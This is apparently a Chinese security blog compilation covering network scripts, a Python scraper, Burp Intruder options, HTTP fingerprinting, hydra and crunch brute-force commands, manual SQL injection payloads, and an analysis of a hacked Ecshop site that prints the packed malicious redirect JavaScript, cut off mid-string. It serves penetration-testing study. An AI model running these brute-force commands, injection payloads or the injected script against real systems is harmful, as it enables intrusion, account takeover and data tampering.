WIN批处理自动修改IP、子网掩码、网关、DNS

最近遇到一个问题,每次到公司都要修改一个指定的ip和网关,每次手工输入太麻烦,每次都要去看ip后手工输入,于是查了下dos可以直接修改,这样要修改的时候直接执行以下就好了。
看了下主要用到的是netsh命令,如下:
 
netsh interface ip set address “无线网络连接” static 192.168.23.143 255.255.255.0 192.168.23.1
netsh interface ip set dns “无线网络连接” static 8.8.8.8
上面加粗的分别是网络链接名称,ip,子网掩码,网关,保存为bata文件即可,然后不用的时候执行下面2句,清空下好了。
netsh interface ip set address “无线网络连接” dhcp
netsh interface ip set dns “无线网络连接” dhcp

Python爬取乌云漏洞库Demo

#print (‘Hello World!’ )
# coding:utf-8
import re,sys,requests
reload(sys)
sys.setdefaultencoding( “utf-8” )
#要设置RAW字段才能成功抓取到内容
wuyun_headers={‘User-Agent’:’Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36′}
html = requests.get(‘http://www.wooyun.org/bugs/new_submit/’,headers=wuyun_headers)
#html = requests.get(‘http://www.0535code.com’,headers=wuyun_headers)
#print html.text
#抓取漏洞列表
# body = re.findall(‘<td>(.*?)</td>’,html.text,re.S)
# for each in body:
#??? print each
#抓取链接列表
# body = re.findall(‘<a(.*?)</a>’,html.text,re.S)
# for each in body:
#??? print each
#循环取div块里面的超链接A
# text_fied = re.findall(‘<table class=”listTable”>(.*?)</table>’,html.text,re.S)[0]
# text_the = re.findall(‘<a(.*?)</a>’,text_fied,re.S)
# for each in text_the:
#??? print each
#sub翻页代码
# new_submit_url = “http://www.wooyun.org/bugs/new_unclaimed/page/1” #第一页
# total_page = 26 #最大页数
# for i in range(1,total_page+1):
#???? new_link = re.sub(‘page/\d+’,’page/%d’%i,new_submit_url,re.S)
#???? print new_link
#组合使用
new_submit_url = “http://www.wooyun.org/bugs/new_unclaimed/page/1” #列表起始URL
total_page = 26 #最大页数
#循环SUB函数分页抓取
for i in range(1,total_page+1):
new_link = re.sub(‘page/\d+’,’page/%d’%i,new_submit_url,re.S)
#print new_link 调试URL显示
html = requests.get(new_link,headers=wuyun_headers).text #获取URL源码
text_fied = re.findall(‘<table class=”listTable”>(.*?)</table>’,html,re.S) #获取源码中块区域
#调试获取到的html区域块
# print i
# for echo in text_fied:
#???? print echo
#获取块源码中的超链接A
for text_href in text_fied:
text_the = re.findall(‘<td>(.*?)</td>’,text_href,re.S)
#调试提取到的超链接,显示所在分页,并写入文件list.txt
for each in text_the:
print i,(each.strip()) # 需要引入sys库,调用strip去掉输出的换行符
f = open(“list.txt”, “a+”)
f.write(each)
f.close()
#用键词数据库去匹配 查找 a链接。
#http://www.wooyun.org/bugs/new_submit/ 最新提交 http://www.wooyun.org/bugs/new_unclaimed/page/1* 目前26页
#http://www.wooyun.org/bugs/new_confirm/ 最新确认
#http://www.wooyun.org/bugs/new_public/ 最新公开
#http://www.wooyun.org/bugs/new_alarm/? 漏洞预警
#http://www.wooyun.org/bugs/new_unclaimed/ 等待认领
计算了下11行就实现了分页抓取URL,确实是比PHP方便,phphtml解析类比python正则还要复杂一些。

PHP和Python获取网页源代码区别

学习Python用requests库去获取我的网站源代码,获取到的居然是加速乐的防御代码,因为我用加速乐的CDN,然后获取了下乌云网站的,获取乌云的是一片空白,什么都没有,难道Python这么弱么,然后用php获取,php都可以获取到,而且比python代码少,只是Python可以常住内存,PHP就不行了。

php获取页面源代码方法:

$re = file_get_contents('http://www.0535code.com/');
var_dump($re);

Python页面源代码方法:

# coding:utf-8
import requests
html = requests.get('http://www.0535code.com')
print html.text

Python获取页面源代码比php多呢, 要php的一倍。然后这样还不行,像加速乐,乌云了,这类安全网站都获取不到,普通网站python用上面的代码能获取到,然后研究了下,是上面的代码不完整所以获取不到一些网站的源代码,要带上访问的一些信息才行。完整的Python代码如下:

# coding:utf-8
import re,requests
#要设置RAW字段才能成功抓取到内容
wuyun_headers={'User-Agent':'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/23.0.2211.251 Safari/537.36'}
html = requests.get('http://www.0535code.com',headers=wuyun_headers)
print html.text

因为php用file_get_contents函数,默认会有代理信息一起提交请求,而用python就不会自动提交,要配置下才行。
headers的信息,通过浏览器审查元素中的网络选项,随便找一个链接,可以看到请求头信息RAW。
 

不同平台下Python第三方库Request安装

Centos平台下安装:

wget “https://pypi.python.org/packages/source/p/pip/pip-1.5.4.tar.gz#md5=834b2904f92d46aaa333267fb1c922bb” –no-check-certificate
#下载pip安装包
tar -xzvf pip-1.5.4.tar.gz
cd pip-1.5.4
python setup.py install

#直接安装pip会报错提示 ImportError: No module named setuptools
#然后需要安装setuptools,如下:

wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz
tar zxvf setuptools-0.6c11.tar.gz
cd setuptools-0.6c11
python setup.py build
python setup.py install

#这样就安装好了pip了,最后再pip install requests
pip install requests

#Downloading/unpacking requests
#? Downloading requests-2.9.1-py2.py3-none-any.whl (501kB): 501kB downloaded
#Installing collected packages: requests
#Successfully installed requests
#Cleaning up…

WIN7平台下安装:
先在Python环境下输入
from urllib import urlopen
data = urlopen(‘http://peak.telecommunity.com/dist/ez_setup.py’)
open(‘ez_setup.py’,’wb’).write(data.read())
exit

python2.7目录下会有下载的ez_setup.py文件,在python环境中执行python ez_setup.py就可以安装成功easy_install了,才能安装pip。
easy_install在目录C:\Python27\Scripts 下面, cd C:\Python27\Scripts,进入该目录。
运行 easy_inatall.exe pip 就安装好了pip。
验证pip在dos下输入 pip会列出相应的参数列表。其次就是用 pip install requests 命令安装了,我试了一直出问题。好像是因为ASCII码问题,没研究,百度找了另外一种方法。

先下载requests包? https://github.com/kennethreitz/requests
解压下载的zip包,进入有setup.py 的目录,然后执行 python setup.py install
最后进入python用import requests测试是否安装成功了。

#升级Requests库
pip install –upgrade requests

burp Intruder 攻击模块参数说明

常用类型(attack type)
(1)Sniper:适用于单变量,提交时是逐个提交(每次一个)。
(2)Battering Ram:适用于同变量,提交时是批量提交(每次一批),如在头部带cookie和网页主体中同用一个username的HTTP请求。
(3)Pitchfork:适用于多变量,成对提交(每次一组),类似于同时提交A:B:C…,最多8个变量,提交的总次数是Max(A,B,C…)的数量。
(4)Cluster Bomb:适用于多变量,交叉提交(循环交叉),类似于A:B:C…,A:C:B…,B:A:C…,最多8个变量,提交的总次数为A*B*C*…,这个数量是相当惊人的。

这 个模块下集成了很多自动的字典类型,如数字序列、常用密码、常用姓名、几个字的英文组合等等,同时可以增加一些规则,如前辍、后辍、替换、截取、反转、自 定义等等,在提交测试时还可以对其进行编码,并对URL编码中如 ./\=<>?+&*;:(还可另行添加)这样的字符进行过滤。
(1)Preset list(预设序列):最简单的变量(载入)源,直接在显示框配置。
(2)Runtime file(运行文件):这个配置在载入时运行一个外部文本文件,并按行读取不包含回车符的字符,在加载数量很多的变量值时这种方法很有用,可以避免预设序列占用过多内存。
(3)Custom iterator(定制迭代):按照预先设定的模板产生一定排列格式的置换字符或其他项目。比如,一个利用形如AB/12的个人身份标识来测试的工资发放程序,你需遍历所有可能的人员编号以获得所有个人的细节。
(4)Character substitution(字符替换):按预先制定的规则,用一定的字符替换已有序列指定位置的字符以产生新的序列。此类型常用于密码猜解,如对字典文字部分字符产生常用的变化。
(5)Case substitution(大小写替换):对已有序列指定位置的字符进行大小写字母转换以产生新的序列。此类型常用于密码猜解,如对字典文字指定位置的字符进行大小写转换。
(6)Recursive grep(递归|循环):用预先设定的规则,运用从服务器前一次返回的信息作为下一次测试时的输入。
(7)Illegal unicode(非标准字符编码):从预先设定的序列中对指定字符进行非标准字符编码替换,用于遍历所有目标路径,在检测注入时比较有用。
(8)Character blocks(字符串|块):生成指定长度的字符串,在用于检测缓冲器溢出和测试软件运行中在本地(不受托管)的文本漏洞中非常有用。
(9)Numbers(数字):可在一定范围内随机或按指定的格式生成数字字典。
(10)Dates(日期):在指定的区间内生成指定格式(不同间隔)的日期,可用YYYY-MM-DD格式生成如1999.09.01,2010-12-01等形式。用于暴力破解。
(11)Brute forcer(暴力破解):按指定长度用不同的字符生成所有可能字符组合的序列。
(12)Null payloads(0长度字节):零长度的字符串,用它可生成一定数量的空载入,使运行无限期地持续。
(13)Char frobber(字符操作):对现有序列中指定的字符进行诸如ASCII码转换,在测试复杂session返回时比较有用。
(14)Bit flipper(前后翻转):对现有序列从第一条或指定字符进行前后翻转,对形如用CBC加密格式的解密比较用效,可用于脆弱性检测。
(15)Username generator(用户名生成器):利用人的名字作为输入,或使用各式各样的预设生成潜在的用户名。

重点设置options
(1)grep-match:作用于所有返回(responses)信息,类似返回信息的字符过滤器,一般是包含,regex则刚好相反(不包含);
(2)grep-extract:仅作用于返回的文字(text)信息,即不包含头部信息的字符,应用同上(1);
(3)grep-payloads:这个设置过滤字符时搜索的范围、是否区分大小写、是否包含头部信息、是否是原先未编码的变量位置等。
(4)redirects:302转向的设置,可以是从不转向、仅对站点、仅对设置的范围、一直转向4种,底下的process cookies in redircts是设置在转向时是否保留转向前的cookie。

WEB指纹识别之HTTP头字段排序

WEB系统检测可通过PING探测TTL去判断服务器系统,或者其他端口,如果都不存在的话就很难判断了,然后还有一种很多人不知道的方式,HTTP头字段排序。意味不同环境响应的日期字段和服务器字段的顺序不一样。如下:

Response from Apache 1.3.23
$ nc apache.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
Response from IIS 5.0
$ nc iis.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
Response from Netscape Enterprise 4.1
$ nc netscape.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
Response from a SunONE 6.1
$ nc sunone.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close

如果为IIS的话,肯定是win系统了,可以进一步判断web指纹信息,对于渗透其他项也有很大的帮助。

sql注入几款神器收集

1、SSQLInjection
超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入。
2、The Mole
The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。
3、Pangolin
Pangolin是一款帮助渗透测试人员进行SQL注入测试的安全工具。它具备友好的图形界面以及支持测试几乎所有数据库,并能够通过一系列非常简单的操作,达到最大化的攻击测试效果。
4、Havij
Havij是一款自动化的SQL注入工具,它不仅能够自动挖掘可利用的SQL查询,还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。
5、Enema SQLi
Enema SQLi与其他 SQL注入工具不同的是,Enema SQLi不是自动的,想要使用Enema SQLi需要一定的相关知识。Enema SQLi能够使用用户自定义的查询以及插件对SQL Server和MySQL数据库进行攻击。
6、sqlsus
sqlsus是一个开放源代码的MySQL注入和接管工具,它可以获取数据库结构,注入你自己的SQL语句,从服务器下载文件,爬行web站点可写目录,上传和控制后门,克隆数据库等。
7、Safe3 SQL Injector
Safe3 SQL Injector是一个最强大和最易使用的渗透测试工具,它可以自动检测和利用SQL注入漏洞和数据库服务器的过程中。
8、SQL Poizon
SQL Poizon的图形界面使用户无需深厚的专业知识便能够进行攻击,SQL Poizon扫描注入工具内置浏览器可帮助查看注入攻击带来的影响。
9、SQLIer
SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。
10、BSQL Hacker
BSQL Hacker 是一个SQL自动注入工具,其设计的目的是希望能对任何的数据库进行SQL溢出注入,适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群。
11、SQLMap
这是一个自动的“盲目”SQL注入工具,它用python开发,它能执行一个动态的数据库管理系统指纹识别,可以完整地穷举远程数据库。
12、SQLID
此工具是一个SQL注入漏洞挖掘器,是一个命令行实用程序,它能够查找SQL注入漏洞和网站中的常见错误。
13、SQL Power Injector
SQL Power Injector可帮助渗透测试人员找到并利用网页上的漏洞。目前,它支持SQL Server、Oracle、MYSQL、Sybase/Adaptive Sever和DB2等数据库,但在使用inline注入时,还可借助现有的数据库管理系统来使用此软件。
14、SQLNinja
Sqlninja可以利用以SQL Server为后端数据支持的应用程序的漏洞,其主要目标是提供对有漏洞的数据库服务器的远程访问。

Kali_linux下hydra和crunch组合使用暴力破解

hydra 为命令行版 && xhydra 为界面版
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s <PORT> 小写,可通过这个参数指定非默认端口
-l <LOGIN> 指定破解的用户,对特定用户破解
-L <FILE> 指定用户名字典
-p <PASS> 小写,指定密码破解,少用,一般是采用密码字典
-P <FILE> 大写,指定密码字典
-e <ns> 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE> 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M <FILE> 指定目标列表文件一行一条
-o <FILE> 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS> 同时运行的线程数,默认为16
-w <TIME> 设置最大超时的时间,单位秒,默认是30s
-v / -V 显示详细过程
server 目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

破解ssh
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh //默认
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh //使用 -o 选项指定结果输出文件
破解ftp
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV //自定义线程破解
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV //使用空密码和指定用户名密码试探
get方式提交,破解web登录
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
破解https
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb
# hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3
# hydra -l muts -P pass.txt my.pop3.mail pop3
# hydra -s?25?-L?user.txt?-P?pass.txt?-o?creack..txt?-t?20?-vV?mail.0535code.com smtp
破解rdp
# hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
密码字典生成工具crunch的简单使用
命令参数:
-b #体积大小,比如后跟20mib
-c #密码个数(行数),比如8000
-d #限制出现相同元素的个数(至少出现元素个数),-d 3就不会出现zzf ffffgggg之类的
-e #定义停止生成密码 ,比如-e 222222:到222222停止生成密码
-f #调用密码库文件,比如/usr/share/crunch/charset.lst
-i #改变输出格式
-l #与-t搭配使用
-m #与-p搭配使用
-o #保存为
-p #定义密码元素
-q #读取字典
-r #定义从某一个地方重新开始
-s #第一个密码,从xxx开始
-t #定义输出格式
@代表小写字母
,代表大写字母
%代表数字
^代表符号
-z #打包压缩,格式支持 gzip, bzip2, lzma, 7z

案例1:
crunch 1 8
#生成最小1位,最大8位,由26个小写字母为元素的所有组合
案例2:
crunch 1 6 abcdefg
#生成 最小为1,最大为6.由abcdefg为元素的所有组合
案例3:
crunch 1 6 abcdefg\
#生成 最小为1,最大为6.由abcdefg和空格为元素的所有组合(/代表空格)
案例4:
crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
#调用密码库 charset.lst, 生成最小为1,最大为8,元素为密码库 charset.lst中 mixalpha-numeric-all-space的项目,并保存为 wordlist.txt;其中 charset.lst在kali_linux的目录为 /usr/share/crunch/charset.lst, charset.lst中 mixalpha-numeric-all-space项目包含最常见的元素组合(即大小写字母+数字+常见符号),想了解更多可以cat /usr/share/crunch/charset.lst 查看所有密码库
案例5:
crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog @@@ -s cbdogaaa
#调用密码库 charset.lst,生成8位密码;其中元素为 密码库 charset.lst中 mixalpha-numeric-all-space的项;格式为“两个小写字母+dog+三个小写字母”,并以cbdogaaa开始枚举(@代表小写字母)
案例6:
crunch 2 3 -f charset.lst ualpha -s BB
#调用密码库charset.lst,生成2位和3位密码;其中元素为密码库charset.lst中ualpha的项;并且以BB开头
案例7:
crunch 4 5 -p abc
#crunch将会生成abc, acb, bac, bca, cab, cba,虽然数字4和5这里没用,但必须有
案例8:
crunch 4 5 -p dog cat bird
#crunch将生成以“dog”“cat”“bird”为元素的所有密码组合:birdcatdog,birddogcat,catbirddog, catdogbird, dogbirdcat, dogcatbird
案例9:
crunch 1 5 -o START -c 6000 -z bzip2
# 生成最小为1位,最大为5位元素为所有小写字母的密码字典,其中每一个字典文件包含6000个密码,并将密码文件保存为bz2文件,文件名将以 “第一个密码” + ” – ” + “最后一个密码” + ” .txt.bz2 ” 保存(比如000-999.txt.bz2);下面是生成几种格式的压缩文件所用的时间和体积大小对比:
# time ./crunch 1 4 -o START -c 6000 -z gzip
real 0m2.729s
user 0m2.216s
sys 0m0.360s
# time ./crunch 1 4 -o START -c 6000 -z bzip2
real 0m3.414s
user 0m2.620s
sys 0m0.580s
# time ./crunch 1 4 -o START -c 6000 -z lzma
real 0m43.060s
user 0m9.965s
sys 0m32.634s
size filename
30K aaaa-aiwt.txt
12K aaaa-aiwt.txt.gz
3.8K aaaa-aiwt.txt.bz2
1.1K aaaa-aiwt.txt.lzma
案例10:
crunch 4 5 -b 20mib -o START
# 生成最小为4位,最大为5位元素为所有小写字母的密码字典,并以20M进行分割;这时会生成4个文件:aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt:其中前三个大概每个20M,最后一个10M左右(因为总共70M)
案例11:
crunch 4 4 + + 123 + -t %%@^
#生成4位密码,其中格式为“两个数字”+“一个小写字母”+“常见符号”(其中数字这里被指定只能为123组成的所有2位数字组合)。比如12f# 32j^ 13t$ ……
案例12:
crunch 3 3 abc + 123 @#! -t @%^
#生成3位密码,其中第一位由“a,b,c”中的一个;第二位为“1,2,3”中的一个;第三位为“!,@,#”中的一个。比如1a! 2a# 3b@ ……
案例13:
crunch 3 3 abc + 123 @#! -t ^%@
#生成3位密码,其中格式为“字符+数字+字母”,这里字符范围为!@# ,数字范围为 1 2 3 , 字母范围为a b c
比如!1c @3b @2a ……
案例14
crunch 5 5 -t ddd@@ -p dog cat bird
#生成5个元素组成的密码,其中前三个为 dog cat bird任意组合,后两个为两个小写字母的任意组合。比如birddogcatuz catdogbirdab birdcatdogff ……
案例15:
crunch 7 7 -t p@ss,%^ -l a@aaaaa
#生成7位密码,格式为“字符p@ss”+大写字母+数字+符号 比如 p@ssZ9> ……
案例16:
crunch 5 5 -s @4#S2 -t @%^,% -e @8 Q2 -l @dddd -b 10KB -o START
#生成5位密码,格式为小写字母+数字+符号+大写字母+数字,并以 @4#S2开始,分割为10k大小。。。
案例17:
crunch 5 5 -d 2@ -t @@@%%
#生成5位密码,格式为三个字母+两个数字,并限制每个密码最少出现2种字母
案例18:
crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
#生成10位密码,格式为三个小写字母+一个符号+四个数字+两个符号,限制每个密码至少2种字母和至少3种数字
案例19:
crunch 8 8 -d 2@
#生成8位密码,每个密码至少出现两种字母
案例20:
crunch 4 4 -f unicode_test.lst the-greeks -t @@%% -l @xdd
#调用密码库 unicode_test.lst中的 the-greeks项目字符,生成4位密码,其中格式为两小写字母+两数字,同样kali_linux中 unicode_test.lst 在/usr/share/crunch目录
 

深入浅出SQL注入

1.判断有无注入点
数字型:and 1=1 and 1=2 和 ‘
字符型:’and ‘1’=’1? ‘and ‘1’=’2
搜索型:关键字%’ and 1=1 and ‘%’=’%??? 关键字%’ and 1=2 and ‘%’=’%
大部分数据库都有用单行注释符(–)和多行注释符(/**/),在不需要执行后面操作的地方,可以添加相对应的注释符。
盲注的情况下,用上面sql语句看返回页面是看不到页面异常信息的。
2.猜表
一般的表的名是admin username password tables等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) –判断是否存在admin这张表
3.猜帐号数目
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称
在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a)
–猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)
–猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
7.后台弱口令类型SQL注入
原始SQL:SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’
$username = 1′ or ‘1’=’1
$password=1′ or ‘1’=’1
然后sql查询会变为下面新的查询语句
SELECT * FROM Users WHERE Username=’1′ OR ‘1’=’1′ AND Password=’1’OR ‘1’=’1′
顺便回忆一个sql注入的过程,某注入点已经成立,想做增删改查的操作。

假设注入点为?http://0535code.com/?p=635 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from member
以上是查询语句了,要构造增加,删除,修改语句都要通过上面联合做查询。
增加:http://0535code.com/?p=635 And 1=2 union?INSERT INTO members (username,password) VALUES (‘demo’,’demo’);
修改:http://0535code.com/?p=635 And 1=2 union UPDATE member SET username = ‘name’ WHERE username = ‘demo’;
删除:http://0535code.com/?p=635 And 1=2 union DELETE FROM members WHERE username = ‘demo’ ;
或者也可以把查询语句放union,结束的时候加个分号(;),表示结束,再重新添加构造的sql语句。

通过以上几个语句,有几个疑问,验证了下答案。
问题一:在猜解到了数据库表名和列名,是否可以添加记录?
原始sql语句:INSERT INTO `test`.`users` (`id`, `username`, `password`, `name`) VALUES (NULL, ‘1111’, ‘2222’, ‘3333’);
测试sql语句:INSERT INTO `test`.`users` ( `name`) VALUES ( ‘ccc’);
经过测试是可行的,只要猜到表名和字段名就可以增删改查操作了。

问题二:select 1,2,3,4,5,6,7,8,9,10 from member,中间列数怎么用呢?
select name from users where 1 and 1=2 union select 1 , 2, 3,4,5,6 from users
如果为6个字段的话,才会正常返回值,通过这个确定列数,确定列数后,可以猜解字段所在的列,从1替换到10看返回数据。

通常sql注入,会采用sqlmap,pangolin,Havij验证,有些需要手工构造后,通过工具爆库。

一个WEB挂马的分析思路

又一次遇到搜索引擎欺骗类型的挂马了,这类挂马很高级,甚至不好判断是篡改的后台代码还是前端代码,而使用代理截断数据包去分析会发现不了搜索引擎跳转。从代码中搜索,查找都找不到,肯定是做过加密处理了,是比较难找,这次是Ecshop的一个挂马处理,汇总了一下思路。
首先通过百度搜索命令site:域名,发现通过百度进入的都会跳转,而直接进入网址的都不会跳转。开始觉得肯定是后台做判断了,但是找了找没找到代码,中间也有怀疑前端js的可能性,不过源码这么大,从头找的话无从下手,然后从goods.php下手了。打开goods.php文件,在require(dirname(__FILE__) . ‘/includes/init.php’);后面下断点 die(‘——exit—–‘);通过搜索引擎去打开,发现依旧存在挂马。说明问题在/includes/init.php这个文件中,然后又打开这个文件,也是从上到下循环下断点,在这个文件中发现在第83行中require(ROOT_PATH . ‘includes/lib_goods.php’); 在这里之前下断点就会终止程序,而在这里之后依然存在挂马,说明是引入的这个文件有问题。继续找这个文件。功夫不负有心人,在第996行有段代码被发现了,@print_r($web1);通过打印web1这个变量输出了一个js,通过这个js控制的页面跳转,而且这个js会判断来路去跳转到不同的挂马网站。把代码提取出来如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('D n$=["\\E\\t\\E\\U\\U\\I\\t\\t","\\K\\x\\W\\x\\1s\\x\\W\\x\\P\\x\\W\\x\\1o","\\1n\\x\\W\\x\\U\\x\\W\\x\\1t\\x\\W\\x\\1t","\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\K\\1s\\X\\1N\\K\\U\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\X\\U\\P\\X\\1o\\P\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L",\'\\M\',\'\\t\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\\L\\M\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\\w\\w\\u\',\'\\t\',\'\\r\',\'\\H\',\'\\B\',\'\\B\',\'\\q\',\'\\v\',\'\\G\',\'\\z\',\'\\A\\v\',\'\\H\\A\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\P\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\P\\w\\w\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\1y\',\'\\H\',\'\\r\',\'\\y\',\'\\p\',\'\\r\',\'\\z\\A\\P\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\\K\',\'\\P\',\'\\P\',\'\\1J\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\',\'\\A\\w\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\A\',\'\\A\\w\\u\',\'\\r\',\'\\t\',\'\\z\\A\',\'\\F\',\'\\o\',\'\\o\',\'\\C\',\'\\1e\',\'\\J\',\'\\J\',\'\